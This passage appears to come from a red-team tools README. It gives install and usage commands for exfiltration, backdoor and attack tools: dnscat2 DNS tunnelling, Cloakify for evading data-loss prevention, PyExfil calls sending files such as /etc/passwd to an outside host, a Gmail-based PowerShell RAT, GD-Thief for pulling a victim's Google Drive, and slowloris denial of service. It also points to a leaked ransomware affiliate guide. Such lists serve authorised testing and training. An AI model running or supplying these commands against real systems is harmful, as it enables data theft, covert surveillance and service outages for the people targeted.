Full installation information can be found in the Installation Section.

Usage: (Server)

# Establish the server
ruby ./dnscat2.rb DOMAIN.COM

Usage: (Client)

# Establish the client with authoritative domain
./dnscat2 DOMAIN.COM

# Establish the client without authoritative domain
./dnscat2 --dns host=0.0.0.0,port=0000

# Ping the server from the client
./dnscat --ping DOMAIN.COM

# Ping the server from the client, with custom dns resolver ip
./dnscat --dns server=0.0.0.0,domain=DOMAIN.COM --ping

Usage: (Tunnels)

# (After establishing the client) You can open a new tunnelled port
listen [lhost:]lport rhost:rport

# Forward ssh connections through the dnscat2 client to an internal device
listen 127.0.0.1:2222 10.10.10.10:22

Full usage information can be found in the Usage Section.

🔙Cloakify

When exfiltrating victim files, DLP (Data Loss Prevention) solutions will typically trigger on strings within these files. Cloakify reduces this risk by transforming the data.

Cloakify transforms any filetype (e.g. .zip, .exe, .xls, etc.) into a list of harmless-looking strings. This lets you hide the file in plain sight, and transfer the file without triggering alerts.

Note: You can make your own ciphers, see here for more info.

Install:

git clone https://github.com/TryCatchHCF/Cloakify

Usage:

# Cloakify some text
python3 cloakify.py TEXT.txt ciphers/desserts.ciph > TEXT.cloaked

# De-Cloakify the text
python3 decloakify.py TEXT.cloaked ciphers/desserts.ciph

🔙PyExfil

"An Alpha-Alpha stage package, not yet tested (and will appreciate any feedbacks and commits) designed to show several techniques of data exfiltration is real-world scenarios."

Install:

git clone https://www.github.com/ytisf/PyExfil;cd PyExfil;pip install -r requirements.txt;pip install py2exe;pip setup.py install

Usage: (Full Usage here)

HTTP Cookies

from pyexfil.network.HTTP_Cookies.http_exfiltration import send_file, listen

# For Client (exfil)
send_file(addr='http://www.morirt.com', file_path=FILE_TO_EXFIL)

# For Server (collecting)
listen(local_addr='127.0.0.1', local_port=80)

ICMP Echo 8

from pyexfil.network.ICMP.icmp_exfiltration import send_file, init_listener

# For Client (exfil)
ip_addr = "127.0.0.1"
send_file(ip_addr, src_ip_addr="127.0.0.1", file_path="", max_packetsize=512, SLEEP=0.1)

# For Server (collecting)
init_listener(ip_addr, saving_location="/tmp/")

NTP Request

from pyexfil.network.NTP.ntp_exfil import exfiltrate, ntp_listen, NTP_UDP_PORT

# For Client (exfil)
ip_addr = "127.0.0.1"
exfiltrate("/etc/passwd", ip_addr, time_delay=0.1)

# For Server (collecting)
ntp_listener(ip="0.0.0.0", port=NTP_UDP_PORT)

🔙Powershell RAT

Python based backdoor that uses Gmail to exfiltrate data as an e-mail attachment. It tracks the user activity using screen capture and sends the information to an attacker as an e-mail attachment.

Install:

git clone https://github.com/Viralmaniar/Powershell-RAT

Usage: (Full Usage here)

Setup

Throwaway Gmail address
Enable "Allow less secure apps" by going to https://myaccount.google.com/lesssecureapps
Modify the $username & $password variables for your account in the Mail.ps1 Powershell file
Modify $msg.From & $msg.To.Add with throwaway gmail address

🔙GD-Thief

Tool for exfiltrating files from a target's Google Drive that you have access to, via Google's API.

This includes all shared files, all files from shared drives, and all files from domain drives that the target has access to.

Install:

git clone https://github.com/antman1p/GD-Thief.git
cd GD-Thief
pip install --upgrade google-api-python-client google-auth-httplib2 google-auth-oauthlib

then...

Create a new Google Cloud Platform (GCP) project
Enable a Google Workspace API
Configure OAuth Consent screen
Create a credential
Add the victim's Google account to the Application's Test Users

For detailed setup instructions see the How To Guide.

Usage:

usage:
python3 gd_thief.py [-h] -m [{dlAll, dlDict[-d <DICTIONARY FILE PATH>]}
	[-t <THREAD COUNT>]

help:

This Module will connect to Google's API using an access token and exfiltrate files
from a target's Google Drive.  It will output exfiltrated files to the ./loot directory

arguments:
        -m [{dlAll, dlDict}],
                --mode [{dlAll, dlDict}]
                The mode of file download
                Can be "dlAll", "dlDict [-d <DICTIONARY FILE PATH>]", or... (More options to come)

optional arguments:
        -d <DICTIONARY FILE PATH>, --dict <DICTIONARY FILE PATH>
                        Path to the dictionary file. Mandatory with download mode"-m, --mode dlDict"
                        You can use the provided dictionary, per example: "-d ./dictionaries/secrets-keywords.txt"
        -t <THREAD COUNT>, --threads <THREAD COUNT>
                        Number of threads. (Too many could exceeed Google's rate limit threshold)

        -h, --help
                show this help message and exit

Nice blog post explaining the logic behind the tool.

Impact

🔙Conti Pentester Guide Leak

Conti is a ransomware group that is known for targeting large organizations and using sophisticated tactics to evade detection and maximize the impact of their attacks.

Conti has been responsible for a number of high-profile ransomware attacks, including ones against the computer systems of the City of Pensacola, Florida, and the computer systems of the Irish health service.

The Conti Pentester Guide Leak - Repository contains leaked pentesting materials given to Conti ransomware group affilates.

Topics include:

Configuring Rclone with MEGA for data exfiltration
Configuring AnyDesk as persistence and remote access into a victim’s network
Elevating and gaining admin rights inside a company’s hacked network
Taking over domain controllers
Dumping passwords from Active Directory

Note: vx-underground.org obtained more training materials and tools used by Conti ransomware operators here.

Image used from https://github.com/ForbiddenProgrammer/conti-pentester-guide-leak

🔙SlowLoris

Slowloris is a type of denial-of-service (DoS) attack that involves sending HTTP requests to a web server in a way that ties up the server's resources, preventing it from being able to process legitimate requests.

This attack would typically be conducted with a botnet, it is designed to be difficult to detect and mitigate, as it uses a relatively small number of connections and does not generate a large amount of traffic.

Install: (Pip)

sudo pip3 install slowloris

Install: (Git)

git clone https://github.com/gkbrk/slowloris.git
cd slowloris

Usage:

# Pip
slowloris example.comr

# Git
python3 slowloris.py example.com

🔙usbkill

This is an anti-forensic kill-switch that waits for a change in USB port status, immediately shutting down endpoint if a change is detected.

In some situations, it is imperative that no data is added or removed from an endpoint via USB.

This is where USBkill comes in.

Install:

git clone https://github.com/hephaest0s/usbkill
cd usbkill
./setup.py install

Usage:

sudo python3 usbkill.py

Image used from https://en.wikipedia.org/wiki/USBKill

🔙Keytap

This is a tool that can guess the pressed keyboard keys from the audio of a computer's microphone.

Keytap2 can also be used to retrieve text from audio snippets of keyboard typing.

Install: (Build)

git clone https://github.com/ggerganov/kbd-audio
cd kbd-audio
git submodule update --init
mkdir build && cd build
cmake ..
make

Usage:

# Record audio to a raw binary file on disk
./record-full output.kbd [-cN]

# Playback a recording captured via the record-full tool
./play-full input.kbd [-pN]

# Record audio only while typing (Useful for collecting training data for keytap)
./record output.kbd [-cN] [-CN]

See full usage documentation here.

Try the online demo at https://keytap.ggerganov.com/.

Image used from https://github.com/ggerganov/kbd-audio

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RedTeam-Tools

Tool List

Red Team Tips

🔙Hiding the local admin account

🔙Cripple windows defender by deleting signatures

🔙Enable multiple RDP sessions per user

🔙Sysinternals PsExec.exe local alternative

🔙Live off the land port scanner

🔙Proxy aware PowerShell DownloadString

🔙Looking for internal endpoints in browser bookmarks

🔙Query DNS records for enumeration

🔙Unquoted service paths without PowerUp

🔙Bypass a disabled command prompt with /k

🔙Stop windows defender deleting mimikatz.exe

🔙Check if you are in a virtual machine

🔙Enumerate AppLocker rules

🔙CMD shortcut with 6 pixels via mspaint

🔙Link spoofing with PreventDefault JavaScript method

🔙Check SMB firewall rules with Responder

🔙Disable AV with SysInternals PsSuspend

Reconnaissance

🔙crt.sh -> httprobe -> EyeWitness

Resource Development

Msfvenom Commands

🔙WSH

🔙HTA

🔙VBA

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

🔙Enabling RDP

🔙Upgrading shell to meterpreter

🔙Forwarding Ports

🔙Jenkins reverse shell

Collection

Command and Control